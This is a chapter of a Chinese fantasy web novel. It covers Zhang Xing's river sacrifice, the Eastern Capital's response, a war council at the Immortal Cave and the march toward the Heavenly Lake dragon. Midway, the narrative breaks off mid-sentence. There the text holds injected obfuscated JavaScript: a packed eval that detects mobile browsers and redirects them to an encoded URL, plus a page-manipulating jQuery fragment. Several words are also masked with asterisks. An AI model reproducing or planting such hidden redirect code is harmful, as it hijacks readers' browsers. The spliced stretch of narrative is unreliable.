“若是至尊能时时照拂,我何必与你北上?”饶是孙思远大宗师风度,此时也有些气浮。“早在白帝爷之后,这中原熟地便已经少有神异了,你难道不知道?” 张行点头,换了一个新牌子继续写字:“可若是这般,为何说这些江河还是四御所属呢?” “所属不是拒人,而是拒神仙真龙……”孙思远稍作解释。“比如赤帝娘娘想往河北显露威风,黑帝爷想往江东去,岂不乱成一团,借此江河,天然取个界限。还有个例子,便是那呼云君,祂是正经大江尽头出身的真龙,却不属四御,如今四处乱窜,据说在淮河边上有个巢穴,也未见敢据了淮水。” “没编制……”张行嘟囔了一句什么,然后继续刻字。“可若如此说,为何孙院长的千金碑立在河北无事?” “那千金碑到底是我想着立的,而我到底是个人,又不是至尊亲自插手。”孙思远无奈至极。 就这样,周围人也没有插嘴,两人反复说了好一阵子,张首席终于将十几个木牌刻完,复又来问了一圈,又加了一位当年战死在东都的前前前朝名将的名字,然后便将牌位附着断江真气给按在了桌案上,等到一些简单祭品摆上,又也从尉迟融手中接过了三炷香来。 点燃之后,真气顺势流出,又随着香上烟雾散开。当此时,其人心中空灵,倒是诚心诚意举着此香朝几案后的大河波涛拜了一拜,心中更是诚心感慨,若是这些神仙真龙是个讲究的,便该让真龙之祸不及凡人才对,何须自己亲自来此?而转念一想,自己既要黜龙,便是以人来攻神圣,怎么还能妄想着只许自己为寇,不许人家做贼呢? 翻转至此,张行反倒看开了,便将立香插入小小香炉,干脆转身离开。 刚一转身,他却又眼皮一跳,复又转了回来,看向摆满了木牌的桌案……看了两息,还是有些发懵,便又来问左右:“你们看到了吗?” 尉迟融愣了一下,立即扶刀来问:“首席说什么?” 这一下子,其余随从也都紧张起来,便是曹夕也茫然不知所措起来。 张行有些无语,又对着孙思远认真来问:“孙院长,你是大宗师,你看到了吗?” 孙思远点点头。 张行再度回首,来看桌案上的木牌,目光落在其中一个上面,这才相信自己刚才不是恍神。 原来,就在刚刚张行行礼祭祀之后,香上真气即将散去之际,居然被动的往其中一个木牌上飘了过去……很显然,这个木牌蒙对了,而且河中主人也接受了他张首席的祭祀。 平心而论,对于一个准备黜龙且已经与真龙交过手的人来说,这不足为奇,甚至没有见过真龙,修为到了一定份上,什么神异也都能懂,人家大宗师孙思远就很淡定嘛……但张行依旧愣神了片刻。 原因无他,自己自从来到这个世上,往来反复,十停里倒是有七八停的大小事务发生在这大河畔,甚至自己还曾用过惊龙剑指着大河起过誓,却未曾见过什么神异,结果到今日方才惊动正主。 只能说,这一位委实稳健。 河畔插曲按在心下,众人继续北上,于月中进入邺城。 初冬的邺城并没有被所谓冬日寒冷所压制,恰恰相反,城内外气氛反而有些热火朝天的感觉……想想也是,春、夏、秋连续的战争胜利,刚刚纳入统治的大量土地、人口,以及最直接的新纳入河北精英们的到来,都进一步催化了这座城市。 此时此刻,曾经被系统性拆解和迁移的河北旧都重新显露出了绝佳的生命力,在城市面积本身有限的情况下,周围的土地被重新开发。城南、城北、城东都建立起了具有专项功能的小城,加上东南面屯军的韩陵山城,几乎连成一片。 就连城西漳水畔的三台旧址,也都多了许多成排成列的公房,以应对日益庞大的大行台系统。 张行就是在这种氛围下,回到了邺城。 进入邺城,张首席没有回观风院,而是直接到了陈斌所在的侧殿,又召集了魏玄定、徐世英二位,将曹夕的事情发布了出去。 坦诚说,事情很顺利,但气氛不是太好。 原因很简单,哪怕是张行带回了大宗师,但随着这位黜龙发起人自己都开始预备应对可能的天灾后,众人还是不免陷入到某种不安中。 看的出来,这几位都想要劝张行不要现在对付吞风君,因为一旦出了岔子,黜龙帮最后统一天下的决战步伐难免要被拖延。 不过,这几位也都晓得,这只是情绪,是一种面对着未知的高层级战斗的不安,从现有的局势和既有的经验来看,这一战没有任何理由中止。 所以,他们也同样忍住了没有去劝解。 按照计划,张行应该在邺城稍等一等……因为徐世英还要集合最后一批黜龙帮的修行精锐,而张行本来就准备拖一拖,拖到年关再出战以避免这一战天象影响与冬日相叠加……但是,这个时候城内的气氛已经很不对了。 张行几乎能想象的到,随着曹夕的工作展开,黜龙帮上层渐渐知晓吞风君相关事宜并忧虑胜败后,一定会对这一战产生阻碍效应。 事情就是这么吊诡……张首席这些年也渐渐摸索出了一些规律,那就是哪怕一件事情大家的态度和思路都对路,也会在具体想法上有大量的细节错位,还会随着事情的推进产生明显的变形。 而这个时候,他如果想有效推动预定好的事情,往往要采取与大众相反的态度。 这不是故意唱反调,显得自己如何力排众议,而是要采用拔河战术,确保已经制定好的方略和计划不出轨。 要黜吞风君,就黜吞风君,不能畏首畏尾,不能半途而废! 要迅速整合北地,就迅速整合北地,不能计较零星的利益分割,不能言而无信,不能过于宽纵,也不能过于严苛! 要以李定为利刃,以北地为基地,完成对大英的战略侧击,就要坚决的执行下去,千方百计完成这一战略计划! 当然,要处理掉刘文周,就一定处理掉刘文周! 于是乎,张行没有在邺城停留,他在发布了几个命令后于当日傍晚就再度出发,继续往北去了,晚间干脆宿在了漳水对岸的一个小镇子里,全程愣是没有回到观风院看一眼,也没留下吃一顿饭。 这个行为,当然传达出了某种坚决的态度。 十一月初,天气愈发寒冷,张行缓慢而又坚定的抵达幽州,并继续逗留了下去,在外界看来,就好像是在正常的巡视新得之地一般……实际上,他也的确是在巡视。 慰问孤寡,勘察地理,询问风俗,与新上任的官员和降人做交流,中间甚至跟冯无佚一起在南宫湖设了一场宴席,请信都降人一起看了场小雪落南宫的雅致景色,顺便参与了大宗师级别的义诊活动和千金碑奠基仪式。 也不知道是不是张行全程都在帮他立千金碑,孙思远倒是全程从容配合。 当然,期间也有麻烦,比如刘文周早早不耐,还专门通过白有思发来一次问询,得到了张行亲笔回信保证后方才罢休。 北地也爆发了数场小规模战斗,还出现了一次挺麻烦的**余波——安车卫有人**失败后,逃入了黑水卫的范围,刘黑榥部尝试追击却被黑水卫的人阻拦在了黑水畔,大司命殷天奇发出了一封措辞严厉质询给李定的同时,还以龙头的身份要求刘黑榥缴械,然后往神仙洞前说明情况。 刘黑榥是什么混账狡猾玩意,哪里能听他的?又哪里会惹出真正的大祸?便干脆在黑水畔赖了下来。 双方现在是一团糟。 只能说,张行不在,大司命带着龙头的身份和大宗师的修为外加荡魔卫的整体实力,李定、雄伯南、白有思根本压不住。 也正是因为如此,十一月中旬,张行越过了掷刀岭,进入北地。 而几乎是在张行抵达柳城的同时,一个情报传递到了东都。 “张三这要逆天而为?”司马正看着情报,心中微动,却又给出了一句奇怪的评价。“还是顺天而为?” 司马进达在侧,不免诧异:“什么意思?” “他要集中黜龙帮的精华,去黜吞风君。”司马正将手中纸张递了出去,却没有直接给自己叔叔,而是给了身侧苏巍。 苏巍颤颤巍巍的接过来,看了两眼,没有说话,便将纸张递给了牛宏,牛宏动作利索些,上下看了两遍,眉头皱起,便也递给了司马进达。 司马进达此时看完,终于晓得原委,却先提出了一个意外的问题:“这般大规模调度,便是黜龙帮掩饰的严谨,也该早有流言和猜测出来,按照情报上说的,之前踏白骑跟着李定一起在北地冬营时就有了流言,那为何一直到现在才有情报传过来?” “这有什么可疑惑的?”司马正苦笑道。“自然是因为张三之前在河北,他不敢有动作。” “张行的威望到了这个地步吗?”司马进达想了一想,也有些无力。“好不容易才有了内线,却这般畏首畏尾?过几年会不会直接缩了?” “难说。”牛宏稍微插了句嘴,和只是躺平做装饰的苏巍不同,他儿子算是东都骨干将领,所以还是愿意做点事情,说点话的。“而且,相较于咱们的那点子内线,更应该计较的是人家在咱们这里的内线……东都以外就不要说了,那几位甚至都跟黜龙帮正式称臣过,东都内,便是丞相亲自坐镇,可东西两家到底是从东都出来的,千丝万缕的关系也斩不断。” “确实。”司马正依旧苦笑。“所以咱们先不要想这件事,只说最关键的……黜龙帮精华**成都去了北地黜龙,咱们该如何应对?” “从道理上来讲,自然是趁虚而入,起兵直趋邺城。”苏巍忽然开口,也算难得开口。“但若如此,一则是要毁约,二则是要计较攻占邺城后的处境……” “不错。”司马进达点头认可。“以现在的局面,潜送兵马过河阳城,以二郎亲自带队,突袭邺城把握还是有的,但攻占之后又如何呢?从黜龙帮那里说,他们黜龙不比作战,成了败了都是极快的,必然会掉头再来……而便是他们死伤惨重,咱们能守住邺城,也要顾虑身后东都空虚,为他人做嫁衣的。” “其实道理就在这里。”牛宏叹气道。“咱们力弱,而其余两家强横,唯一的法子是在东都这里消磨,等其余两家都弱了,再做扩展,若是中途其中一家忽然弱了,咱们反而应该联络他们,一起抗衡强的那家……匆匆发兵,打破了平衡,只怕不妥。” “确实不能轻易动手。”司马正笑道。“但我还是在想,黜龙帮此举,到底是顺天还是逆天?成则如何,败又如何?” 几人这才反应过来,司马正一开始就没问多余的话。 而现在,面对着这个问题,大魏南衙公房内却陷入到了一丝沉寂。 片刻后,还是苏巍给出答案:“成则顺天,败则逆天。” 又是一片沉寂,但没人能否定苏相公的这个答案。 “那我们又该如何?”片刻后,司马进达问出了之前自己侄子问过的问题。 “之前谢鸣鹤不是来问我们续约的事情吗?”苏巍继续给出答案。“现在不就有结果了吗?成则弃约备战,败则续约合盟。” “正该如此。”司马正点头,却又失笑。“可若如此说来,岂不是黜龙帮逆天咱们则助他,黜龙帮顺天咱们则敌他?这不就显得我们逆天而为吗?” “以一城而图天下,以一身而抗四野,本就是逆天而为。”苏巍继续做答。“睿国公今日才醒悟吗?” 这一次,公房内没有人再反驳苏相公,也没有人回应他。 进入腊月,大雪纷飞,徐世英也带着最后一批黜龙帮精华进入北地,到此时,白横秋也得到了情报,却也意识到,自己已经鞭长莫及。 真的是鞭长莫及,大英皇帝扶着额头想了许久,发现此时此刻唯一理论上可行的方案竟然是他说服冲和,再加上快到大宗师的韦胜机,三人一起从苦海直奔大兴山天池。 然而,且不说如何能说服冲和,只是自己和韦胜机去北地的风险就得不偿失。 若是去了那里,闭着眼睛都能想到,张行一定会拼了命说服孙思远和那位大司命,再加上黜龙帮本身的精华好手,将吞风君扔下,只求将自己和韦胜机留下来。 到时候都不用真留下,只伤了二人,断了韦胜机马上要登大宗师的契机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168023|180668||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,黜龙帮都敢趁势发兵去取晋地,天下大势就翻转了。 所以,白横秋也只能扶额,希望吞风君不要堕了祂几千载的威风,或者希望司马正能够耐不住性子,将东都拱手相让。 没有人是蠢货,在张行刻意拖延之后,北地众人也都意识到了这位首席的想法……无外乎就是夜袭挑在黎明,冬日是上天池的最好时间不错,但挑在年末以避免可能的天象影响当然也无妨。 可是,你张首席这般想,也不耽误其他人有自己的想法。 腊月初十,刘文周抵达白练城,将张行堵在了这里,他的道理也很简单,黜龙这种事情未必就能一战而胜,如果对方跑了怎么办?所以,何妨早一些动手,万一不成,也能进行第二次尝试,反正对方不会轻易放弃天池。 此外,现在已经到了这个时候,上下都知道黜龙帮要对付吞风君的事情,而吞风君是有灵智的,祂也一定知道了大家的动静,晓得黜龙帮要冬末再去,到时候会不会有准备? 张行倒是从善如流,然后给出了一个非常具有黜龙帮特色的答复——召开会议,讨论此事。 刘文周无语至极,却也无可奈何。 于是乎,腊月十五,张行又一次抵达黑水卫。 坦诚说,这一回张首席不是焦点,因为所有本地人的目光都放在了新来的那位大宗师的身上。没办法,哪怕是前一年估计都没人能够想到,有朝一日,真火教的教主……哪怕是前教主……居然会来到神仙洞前!而且是以盟友姿态抵达的! 还没到黑水卫下方的那座商业城镇时,所有人就都看出来了,荡魔卫真的很重视这场会面,因为从距离城镇三十里的地方,便有荡魔卫精锐沿途引导路线,而且越往前走人越多。 考虑到眼下北地不怎么平静的局势,这简直有些离谱。 到了城内,哪怕是有荡魔卫的人隔绝了道路,也不耽误城内扶老携幼,登高爬低,纷纷来看真火教教主。 骑在一匹北地矮脚马上的孙思远都有些尴尬了,只能目不斜视,倒是张行恬不知耻,明知道所有人都是来看千金教主的,却毫不忌讳的在黄骠马上四处招手,仿佛人家是来迎接他一般。 这种情况,在穿过城市后稍微缓解了一下,因为从下马往那座石头城进发的山路上,普通民众就少了许多,而且也多是荡魔卫核心成员,他们的很多人也是第一次看张行,晓得这是日后的顶头上司,自然也会多些关注。 当然,来到那座满是石碑的石头城内,这种表面上的纷扰就少了很多,因为到了这里,很多人都眼熟了起来——大司命殷天奇和几位司命正带着包括张行舅舅黄平在内的荡魔卫核心在这里等候,雄伯南、白有思也早早领着黜龙帮的人在此,而且人数竟然不亚于荡魔卫的人,刘文周当然也在这里。 这些全都是要害人物,今天都要上桌讨论或者旁听事情的。 事情到了这一步,自然没什么可说的,大司命上前,张行做了介绍,两位大宗师历史性的握了手,寒暄了几句,便要一起入内。 而就在即将抵达神仙洞前的那个黑帝观时,张行心中微动,忽然止步回头:“大司命!” 殷天奇一惊,赶紧来问:“张首席有什么交代?” “自然是有的。”张行昂然道。“千金教主此来,根本上是为了助我们一臂之力,咱们是承了人情的。” “这是自然。”殷天奇赶紧应声。“确系感激不尽。” “只是口头感激,未免显得我们小气。”张行摇头道。“我看到这里到处都是石刻,倒是有个想法,能不能就在这里,为孙教主立一座千金柱呢?也算是做个纪念。” 众人一惊,随即,黜龙帮这边的人自然是看热闹不嫌事大,即刻鼓噪起来,而荡魔卫那边的人自然是本能抵触,然后紧张商议起来。 出乎意料,大司命以下,几位司命几乎是迅速达成一致,然后殷天奇上前半步,点头认可:“张首席好主意,本地百姓也乏治病的医方,正该如此。” 孙思远心中叹了口气,他自然晓得这意味着什么,但他也不能说吃亏,便也只能含笑点头。 大宗师立碑,自然不比寻常人,何况还是两位大宗师相互协助……殷天奇伸手一挥,一条石柱便顺着成型的弱水真气从旁边石山中滚了出来,落在孙思远身前时早已经打磨的光滑,而且上下有了形状。 随即,孙思远伸出一根手指,指尖上真气凝结,似火似水,分不清楚,落在身前虚浮着的石柱上,却是如墨临纸,将他早已经烂熟的千金方内容一一写了下来。 每写三字,石柱便被拖动几寸,每写一列,石柱也随着稍作翻滚。 不过是片刻,便已经完成,接着殷天奇大手一挥,背上黑氅一抖,那石柱便落在前方空地上,稳稳立住。 众人欢呼一场,却居然没有什么异象,也是奇怪,便也只好随着张行招呼,继续往里走。 再往里走,便是神仙洞前的黑帝小观了。 而石柱既立,孙思远也无话可说,来到此处后,却是干脆抢先众人几步,就在观前对着小观以及小观身后神仙洞从容一拜。 众人这才晓得,张首席刚刚为何要让大司命为人家立碑了,也是再要称贺。 然而,不待众人再度欢呼,忽然间,石山内外飞出无数乌鸦,乌鸦凌空而起,就在石城上方结阵,盘旋数圈方才离开。而乌鸦一走,细细的小雪就飘落了下来。 没有风。 预兆来了,大家反而不好多说什么了。 没办法,黑帝爷的招呼,素来没有人家赤帝娘娘来的大方……什么真火一窜到天上,光华直冲云霄,那多漂亮。 于是,众人依次拜过黑帝观,过了神仙洞,便入了石院,进了石室。 然后张行当仁不让,径直抢了之前大司命的座位,复又请两位大宗师左右列坐,然后是雄伯南、白有思、牛河、魏文达、刘文周五位宗师依次列坐,最后才是荡魔卫诸人与黜龙帮诸人左右分品级坐下。 既然落座,张行也不问陆夫人的情况,也不说北地**经济,而是开门见山:“诸位,今日之会只说一事,黜龙而已,大家畅所欲言,其余不论。” 话音既落,刘文周抢先来言,先是叙述了一遍自己的方略,然后说出之前与张行见面时的一番话,最后干脆直接:“我意,若准备妥当,当即刻上山,不要再做拖延,以免日久生变!” 众人迟疑,稍作议论,一人复又起身来问,正是第一次来北地的徐世英:“我只一问,为这吞风君的事情,千金教主都主动来帮忙,荡魔卫的诸位真不能去帮忙吗?不需要其余人,只要大司命上去,两位大宗师,五位宗师,数十成丹、凝丹,近千奇经,这吞风君岂有幸理?” “委实不能去。”殷天奇无奈解释。“若是我们能去,便是至尊可以直接动手,又何须诸位?” “那荡魔卫能给我们什么帮助呢?”徐世英紧追不舍。“在下初来北地,许多事情都不清楚。” 荡魔卫一方的人愈发无奈,只能硬着头皮把商议好的事情重新说了个遍,而这一次,连贾越都没有插嘴……哪怕他晓得,这是徐大郎在故意压迫对方,以确保这次会议黜龙帮这一方能得到足够多的主动权。 双方你来我往,基本上把黜龙之事又过了一遍。 到最后,便是殷天奇以大司命之身都说的口干舌燥,甚至有些动气:“还有什么,徐指挥不妨一并来问,老夫有问必答。” “我没有了。”徐大郎难得笑了一笑。“大司命说的清楚。” “我倒是有个问题。”听了半日的张行忽然插嘴。“大司命,那些神仙真龙,不是说像吞风君这种,而是说的其余的那些,而是说被黑帝爷正经接引的,祂们跟黑帝爷是什么关系?有没有自己单独的意识,能不能自由自在?若是有,平日祂们都在做什么?跟黑帝爷每日在天上宴饮吗?” 大司命张了张嘴,许久方才出言:“这个真不知道,首先,确实是有这些正经的神仙真龙,也应该能自由自在,但祂们也的确少与我们接触,好像是有自己事情一般……至于说是不是在宴饮,只能说应该不是……” “这倒是奇怪了。”张行蹙眉道。“有自己的事情,我们却察觉不到……是什么事情呢?” 大司命一声不吭。 张行无奈,只能放弃了这个话题,回到了黜龙之事:“所以,最终方案并没有什么新意,只是多了一个带上**车和油桶的方略?” “是。”许敬祖有些不安。“但委实没办法,因为咱们没有足够的情报……” 张行又看向大司命。 殷天奇无奈,只能补充:“能说的都说了,只是这黜龙之事,本就罕有,没有几个先例可言,尤其是以凡人黜龙。” “那我明白了。”张行点头。 “那老夫也要提醒一句,既如此,更不该畏首畏尾,无论如何,先撞上去试一试才知道。”刘文周也抢道。“什么多余顾虑,都未必是真的。” “但也可能是真的。”雄伯南蹙眉顶道。 “大司命。”张行抬手压制住了两人,再度看向了殷天奇。“我们黜龙帮到底是有自己基业的,今日箭在弦上,不得不发,可有些话也不得不说……” 殷天奇肃然:“张首席请讲。” “徐大郎不会上山,李龙头也不会。”张行指了指徐世英。“你也不会……而若是我们败了,或者虽胜而损失惨重,包括我**,你是唯一立场分明的大宗师,要讲良心,替我们黜龙帮稳住局面!” “北地之事,义不容辞。”殷天奇愈发肃然。“非只是我,整个荡魔卫都是如此,之前已经答应要合并,就不会再反转。” “不止是北地。”张行提醒。“既是一家人,就要为黜龙帮生死存亡尽力。” “可以。”殷天奇想了想,言语干脆。“若有征调,义不容辞。” “那就没必要多说了。”张行抬手压住了在场所有人,然后给出答复。“上山吧,诸位!告诉所有兄弟,我张行,还有雄天王、白总管,包括千金教主,都会与他们一起披坚执锐,生死与共!” 孙思远到底没有吭声。 而说完这话,张行复又将腰间罗盘解下,递给了一侧的殷天奇:“殷公,若事不成,这件罗盘帮我送给白帝爷座下那位抱镜子的王怀绩,他眼馋这件宝物许久了。” 殷天奇一时竟不敢接手。 PS:推书,《太平记》 第六十九章 **行(12) 腊月十九日,神仙洞石头城内人员齐备,小雪则一直未停。 但无关紧要,因为山上雪线以上一直是积雪覆盖的,而通往天池的道路却是通畅的……荡魔卫多次修缮、维护道路,甚至有去除雪和打扫,也不知道是不是为了这一日……但这也不代表路好走,实际上,即便是一名身体康健的正脉或者奇经修行者,从神仙洞出发,也需要两日才能抵达天池。 考虑到黜龙部队组成的复杂性,实际需要更多时间也说不定。 除此之外,虽然北地这里早就传闻满天飞了,可是当踏白骑们和正在北地冬营的部分军中高手被**起来,并被宣布要上山黜龙之时,也还是引发了人心动荡……不动荡就怪了! 这可是真真切切的黜龙! 唯独黜龙帮到底是刀兵起家,踏白骑自有军事素养,再加上队伍中多了徐师仁、王叔勇、芒金刚在内的二十余位资历头领,张行也亲自带队,还有一位大宗师、五位宗师的超绝战力随行,包括集合点的特殊性,种种因素叠加下,方才从表面压住了人心。 此时,**车已经运送完毕……不是黜龙帮的人所为,也不是荡魔卫的人所为,是殷天奇亲自安排本地人负责的,一队又一队猎人、采集汉、天池祭奠者、收货郎在几日内将十五辆**车拆分后分批次运到了天池下方的一处山坳内,并组合备用。 而诸事既然齐备,黜龙军也不再犹豫,便立即行动起来。 队伍分成三拨,第一拨天没亮就出发,依旧是跟前几日一样,多个批次,伪作成寻常人员上山,他们的任务是提前抵达山坳,组装和验收**车,带队的是贾越,张公慎、冯端副之。 第二拨其实是留守队伍,以徐世英为主,马围、黄平副之,带领一百余骑随同荡魔卫主力留在神仙洞,负责接应。 最后一拨便是黜龙的核心队伍,也就是张行亲自带领的八百余员额的踏白骑。 而随行踏白骑的额,还有一位大宗师,即孙思远;五位宗师,即白有思、雄伯南、牛河、魏文达、刘文周;分批次抵达汇集起来的十三金刚;外加临时从北地冬营部队中征召的诸多帮内头领,包括王叔勇、徐师仁、秦宝、尉迟融、李子达、刘黑榥、王伏贝、程名起、王雄诞、郭敬恪、徐开道、马平儿、韩二郎、窦小娘、许敬祖等人。 这些人中大部分是凝丹以上高手,武器装备自行决定,倒是踏白骑,因为山路难行全员弃马,改为步行,然后穿皮甲、披白氅,六合靴套草鞋,佩戴着**、战锤,持**……这对于奇经修行者而言,并不是什么负担。 而在中午时分,随着刘文周打开了一瓶真龙精血并用真气激发后,队伍也没有半刻迟疑,即刻冒雪上了山,而且行程顺利,天黑前便抵达雪线……也就是此时,队伍第一次陷入讨论和停顿。 分歧很简单,荡魔卫的人之前沿途安排了多个营地,而现在,前面带队的徐师仁认为应该在雪线以下就地露营,这样的话今晚可以休息充分,为明后日留足体力;对应的,中军王叔勇则认为天色还早,哪怕是下着小雪,也能够继续行进相当一个距离,到时候很有可能将路程确保在两天,方便第三天作战,所谓迟则生变。 对此,张行稍作问询后便选择了第二个方案,全军继续前行。 就这样,天黑后足足一个时辰,队伍成功抵达一处提前扎了帐篷的树林,就地休整,全程竟无一人掉队……实际上,这也是张行选择第二个方案的缘故,真龙精血散开的血雾遮掩下,宗师牛河轻松施展自己长生真气所化的绳索,使得队伍并为一体,从容向前,哪怕是下雪加黑夜加山地,也并不用发愁人员掉队和迷路。 来到营地,雪花更盛,队伍根据帐篷简易分组后便开始享用预存在这里的物资——不怎么烈的酒水、压在油罐里的咸肉和涂了蜜的面饼,甚至还有专门用来涂抹面部与手足的凝固油脂,修补皮甲、整备武器的工具。 当然,铺了毛皮的厚实帐篷也是物资,而且可能是这个雪夜价值最高的物资。 平心而论,这个级别的后勤补给,除了没有篝火,已经算是到了某种极致,若是放在寻常行军途中,哪怕明日要以少临多,队伍也会欢声笑语……但这一次,营地里几乎没有什么欢快气氛,如果必须交谈也都会刻意压低声音,大家做什么动作也都小心翼翼。 原因不言自明,既然上了山、过了雪线,那按照传说,大家自然害怕惊动天池的吞风君,以至于睡觉的时候被一口寒冰真气当头吹下,到死的时候都还是个冰棍。 而这个联想,也会进一步加深大家对此战的忐忑。 张行当然也察觉到了气氛紧绷,但也不好故意做出什么举动来,省的弄巧成拙。 所以,没有开会。 只是让同行的二十多位头领分散开来,严格执行军令,非必要不得胡乱走动,以确保营地各处军心罢了。 不过,就在张首席坐在帐篷前慢悠悠的咂吧油浸肉的时候,一人却违反了张行之前军令,穿过了大半个营地、拎着酒水袋过来坐下,正是黜龙帮核心人物,也几乎算是这个队伍中张行最信任人之一——紫面天王雄伯南。 他在将自己随身携带的“替天行道”大旗立起来以后,就直接过来了。 “天王有事?”张行一眼看出来对方有话要说,因为雄伯南这人很难遮掩自己的表情。 “有件事情。”雄伯南坐下来,先举着袋子咽了一口酒,然后方才正色道。“山下不好开口,过了天池也没必要问了,正好现在来问首席。” “天王请说。”张行也随之肃然。 且说,张行所居帐篷前只有白有思、王雄诞、马平儿、许敬祖四人,此时早就来看这位帮务总管,而帐篷密集,二人也没有刻意以真气隔绝,所以周围一圈几十人,外加几位宗师、大宗师,怕是也都能听得清楚。 回到眼前,雄伯南虽然行止坦荡,但甫一开口还是有些迟疑,问的问题也有些像是临场发挥:“首席,我见王雄诞、马平儿、韩二郎、窦小娘都上了山,敢问为什么苏靖方没有上来?” 说着,雄伯南放下指向身前两位年轻头领的手,继续蹙眉来看张行:“他们不都是帮内新锐吗?当日首席赐下六剑,指明了帮内六位年轻才俊,除了贾闰士之前根本没来北地,其余五人都在,却是拿着什么条例选的这四人上山?” “天王想的没错。”早就晓得对方到底想问什么的张行笑了一下,选择坦诚以对。“苏靖方没来是因为他是李龙头的左膀右臂,没必要冒险……而且非只是苏靖方一人,这件事情从头到尾就没有让李龙头和他的旧部包括预定给他的北地英杰参与。” “果然。”雄伯南微微颔首,依然蹙眉。“那敢问首席,李龙头及其部属不参与此战,总不能是因为他早年得的呼云君谶言吧?我在听涛馆听人说了这个荒唐流言……说是什么遇山而亡……所以不敢上山?” “不是遇山而亡,是遇山而兴,全部说来则是‘遇龙而颓,遇猪而废,遇客而富,遇山而兴,遇潮而止’。”张行愣了一下,然后解释道。“而这些谶言怎么解释都是通的……就好像这一次,既合遇龙而颓,也合遇山而兴,怎么说都行的。” “既如此,为何不让李龙头和他的部属过来呢?我算过,现在他那里最少十八个凝丹,便是北地新降之人不可信,也有八个凝丹可用。”雄伯南继续来问。“尤其是苏靖方、樊梨花几位头领,乃是当日在落龙滩是亲自面对过真龙的,天然更有效用……” 张行顿了一下,但不是迟疑要不要回答,而是注意到自己几口白气在雪花中散开,莫名分了下神。 片刻后,回过神来的张首席反问了一个与之前话题似乎无关的问题:“天王,你晓得我之前在邺城为何指定徐大郎做后继,今日也让他在山下做接应吗?” “我确实有些疑惑。”雄伯南闻言精神微振。“一开始我以为是大郎最年轻的缘故,但后来想,若是就以这次上天池黜龙做分野,除了魏公外,没有谁特别老吧?咱们起事不过七年,大部分人都正当年,又何必一定要大郎?而且,我想来想去,觉得真要是从做你继承的路数上讲,不应该让陈总管来做吗?他才是你的心腹,而且也一直执掌庶务,可谓顺理成章。” “其实很多事情的根本就在这里,就是人的问题。”张行笑了一笑,语出惊人。“天王,我直白的说,真要说帮里这些核心,自然个个是人才,但人才跟人才是不一样的,譬如以帮内大位继承而言,简单来讲,你可魏不可;徐可单不可;窦可陈不可。” 雄伯南愣了一下,认真询问:“为何?” “因为做首席跟做别的事情一样,都要有相应的本事,跟铁匠要力气、商人会算数无二的……而这本事具体来说大略分成两层。”张行娓娓道来。“第一层是最基本的,就是有自己的人际根本,而且能团结其他人。” “这倒也是。”雄伯南恍然。“河南那里的人望就是徐大郎跟单大郎,但在全帮这边看,单大郎不如徐大郎能收拢人;河北这边是窦龙头跟陈总管,陈总管性情差了些……可魏公与我?我们俩不都是没有根本吗?” “你是宗师,这便是一种根本。”张行笑道。“而且你是徐大郎的姐夫,是河朔成名几十年的大侠,这个根本比魏公强太多了。” 雄伯南这次没有驳斥,而是继续问:“那第二层本事呢,是智谋吗?” “不是,或者说不单是。”张行依旧含笑。“这第二层与其说是某种本事,倒不如说是性情,乃至于单纯的心思……非要来说的话,便是有一份自己的念想,而且能够不顾一切的顺着这个念想走,千方百计的走……就好像,就好像刘文周刘公一心黜龙这般才行。若无这般思量,便是有些才能,有些根基,做了首席也不能带着大家成就事业的。” 张行举了个令人意外的例子,包括雄伯南在内,周围几人却都有些恍然之态,至于远处刘文周,不晓得是不是错觉,似乎也得意轻笑了一声。 雄伯南沉吟片刻,若有所思:“若是这般说,帮里核心有几个既能得人又有这般念想的?徐家大郎算一个?” “徐大郎当然算一个。”张行点点头。“他那份打小做贼的道理自己是深信不疑的,换句话说,他比谁都能看清楚自己的位置,晓得自己和其他人,和咱们帮内帮外,跟天下地方的关系,继而晓得自己在什么时候要做什么。” “原来如此……那除了徐大郎,帮里还有谁呢?” “她。”张行指了下身侧慢慢抿酒喝的人。 “白总管自然算是有念想的……”雄伯南叹了口气。“窦龙头算不算?” “算半个。”张行给出个意外的答案。“他看起来是最坚定的,但其实不是那么坚定,依着我看,他自己其实有时候也会怀疑自家的念想是不是对路。” “原来如此。” “魏公以前算是半个,但现在已经不算了。”张行继续点评道。“他的心气其实在世族、寒门,关陇、河北不平等上,咱们黜龙帮现在成了气势,他是国主,自然就没了心气……不过,真要是咱们这次败了,失了底力,对上关陇出身的那两家,他一定会重新振作,费尽心力与对方周旋到底的。” “不错,不错。” “还有天王你,其实也算半个。” “我?愿闻其详。” “若说魏公的念想在于河北、阶级,你的念想便是咱们黜龙帮是否一体了。”张行从容应道。“只不过,咱们黜龙帮到现在一直是团结的,一直是一体的,你的念想就难显露,以至于现在在帮中竟有些虚浮之感。但恕我直言,这没必要,真到了黜龙帮四分五裂,人心浑噩的时候,自然就要靠天王你的豪气了。何况,咱们黜龙帮之所以到现在都能团结一体,本身就有天王你坐**仓的缘故。” 雄伯南喟然以对:“便是如此,也还让人有些不安。” 话虽如此,雄伯南的情绪明显好转了不少。 “还有一人。”出乎意料,张行没有趁热打铁,安抚雄伯南,反而是继续点评了下去,而且居然越过了陈斌等人,直接点题。“李定这厮,倒也算是个有念想的……李四郎有才,有根基,却不能团结众人,这是他的弱点,但是,他自幼受军事教养,青年在军内文职上蹉跎,中年方有尺寸之地,数营兵马,却始终不能忘怀执兵戈一统天下的念想,委实难得。” 雄伯南连连点头:“李龙头有这个念想是好事。” 张行继续来言:“至于今日之战,让白总管和天王上来,是因为你们二人本身就是我们的战力所在,不得不来……除此之外,徐副指挥、窦龙头、李龙头,都没有让他们上来……本意就是因为,万一我真栽在这天池了,这几人和你们,是黜龙帮能否存续、复起的指望。” 雄伯南长叹一声,思绪也随面前乱舞的雪花搅动起来。 说白了,他的意见从来不是针对什么谁上山谁下山,而是对张行这一段时间……具体来说就是从今年年初大举进军以来,到目前为止时间里的独断专行,感到不满。 甚至不能说是不满,而是某种不安。 